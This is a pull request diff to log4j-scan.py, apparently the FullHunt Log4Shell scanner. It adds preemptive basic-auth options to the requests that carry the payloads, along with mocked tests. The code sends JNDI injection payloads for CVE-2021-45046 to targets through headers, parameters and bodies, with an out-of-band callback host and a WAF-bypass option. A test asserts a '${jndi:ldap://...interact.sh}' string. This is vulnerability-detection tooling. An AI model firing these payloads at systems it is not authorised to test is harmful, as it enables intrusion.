Part #81 : Basic auth support (not --authorization-injection)

Author: axel3rd

README.md

@@ -40,6 +40,7 @@ $ python3 log4j-scan.py -h
 [•] Secure your External Attack Surface with FullHunt.io.
 usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
+                     [--basic-auth-user USER] [--basic-auth-password PASSWORD] [--disable-http-redirects]
 
 optional arguments:
   -h, --help            show this help message and exit
@@ -65,6 +66,10 @@ optional arguments:
                         DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
   --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
                         Custom DNS Callback Host.
+  --basic-auth-user USER
+                        Preemptive basic authentication user.
+  --basic-auth-password PASSWORD
+                        Preemptive basic authentication password.
   --disable-http-redirects
                         Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.
 ```

log4j-scan.py

@@ -23,6 +23,7 @@
 from Crypto.PublicKey import RSA
 from Crypto.Hash import SHA256
 from termcolor import cprint
+from requests.auth import HTTPBasicAuth
 
 # Disable SSL warnings
 try:
@@ -115,6 +116,14 @@ def parse_args(args_input):
                         dest="disable_redirects",
                         help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.",
                         action='store_true')
+    parser.add_argument("--basic-auth-user",
+                        dest="basic_auth_user",
+                        help="Preemptive basic authentication user.",
+                        action='store')
+    parser.add_argument("--basic-auth-password",
+                        dest="basic_auth_password",
+                        help="Preemptive basic authentication password.",
+                        action='store')
 
     return parser.parse_args(args_input)
 
@@ -279,12 +288,17 @@ def scan_url(url, callback_host, proxies, args):
         cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
         payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)
 
+    auth = None
+    if args.basic_auth_user:
+        auth = HTTPBasicAuth(args.basic_auth_user, args.basic_auth_password)
+
     for payload in payloads:
         cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")
         if args.request_type.upper() == "GET" or args.run_all_tests:
             try:
                 requests.request(url=url,
                                  method="GET",
+                                 auth=auth,
                                  params={"v": payload},
                                  headers=get_fuzzing_headers(payload, args.headers_file, args.exclude_user_agent_fuzzing),
                                  verify=False,
@@ -299,6 +313,7 @@ def scan_url(url, callback_host, proxies, args):
                 # Post body
                 requests.request(url=url,
                                  method="POST",
+                                 auth=auth,
                                  params={"v": payload},
                                  headers=get_fuzzing_headers(payload, args.headers_file, args.exclude_user_agent_fuzzing),
                                  data=get_fuzzing_post_data(payload),
@@ -313,6 +328,7 @@ def scan_url(url, callback_host, proxies, args):
                 # JSON body
                 requests.request(url=url,
                                  method="POST",
+                                 auth=auth,
                                  params={"v": payload},
                                  headers=get_fuzzing_headers(payload, args.headers_file, args.exclude_user_agent_fuzzing),
                                  json=get_fuzzing_post_data(payload),

tests/test_log4j_scan.py

@@ -1,7 +1,10 @@
 import re
-import importlib  
+import requests_mock
+import importlib
 log4j_scan = importlib.import_module("log4j-scan", package='..')
 
+LOCALHOST = 'https://localhost/'
+
 
 def test_args_required(capsys):
     log4j_scan.main([])
@@ -12,9 +15,9 @@ def test_args_required(capsys):
 def test_default(requests_mock, capsys):
     adapter_dns_register = requests_mock.post('https://interact.sh/register', text='success')
     adapter_dns_save = requests_mock.get('https://interact.sh/poll', json={'data': [], 'extra': None, 'aes_key': 'FAKE'})
-    adapter_endpoint = requests_mock.get('https://localhost/')
+    adapter_endpoint = requests_mock.get(LOCALHOST)
 
-    log4j_scan.main(['-u', 'https://localhost/'])
+    log4j_scan.main(['-u', LOCALHOST])
 
     captured = capsys.readouterr()
 
@@ -25,4 +28,19 @@ def test_default(requests_mock, capsys):
     assert 'Targets does not seem to be vulnerable' in captured.out
     assert 'jndi' in adapter_endpoint.last_request.url
     assert re.match(r'\${jndi:ldap://localhost\..*.interact\.sh/.*}', adapter_endpoint.last_request.headers['User-Agent'])
+    assert 'Authorization' not in adapter_endpoint.last_request.headers
+
+    
+def test_authentication_basic(requests_mock):
+    adapter_endpoint_get = requests_mock.get(LOCALHOST)
+    adapter_endpoint_post = requests_mock.post(LOCALHOST)
+    
+    log4j_scan.main(['-u', LOCALHOST, '--custom-dns-callback-host', 'http://custom.dns.callback', '--basic-auth-user', 'foo', '--basic-auth-password', 'bar', '--run-all-tests'])
+    
+    assert adapter_endpoint_get.call_count == 1
+    assert adapter_endpoint_post.call_count == 2
 
+    _basic_auth_encoded = 'Basic Zm9vOmJhcg==' 
+    assert _basic_auth_encoded == adapter_endpoint_get.last_request.headers['Authorization'] 
+    assert _basic_auth_encoded == adapter_endpoint_post.request_history[0].headers['Authorization']
+    assert _basic_auth_encoded == adapter_endpoint_post.request_history[1].headers['Authorization']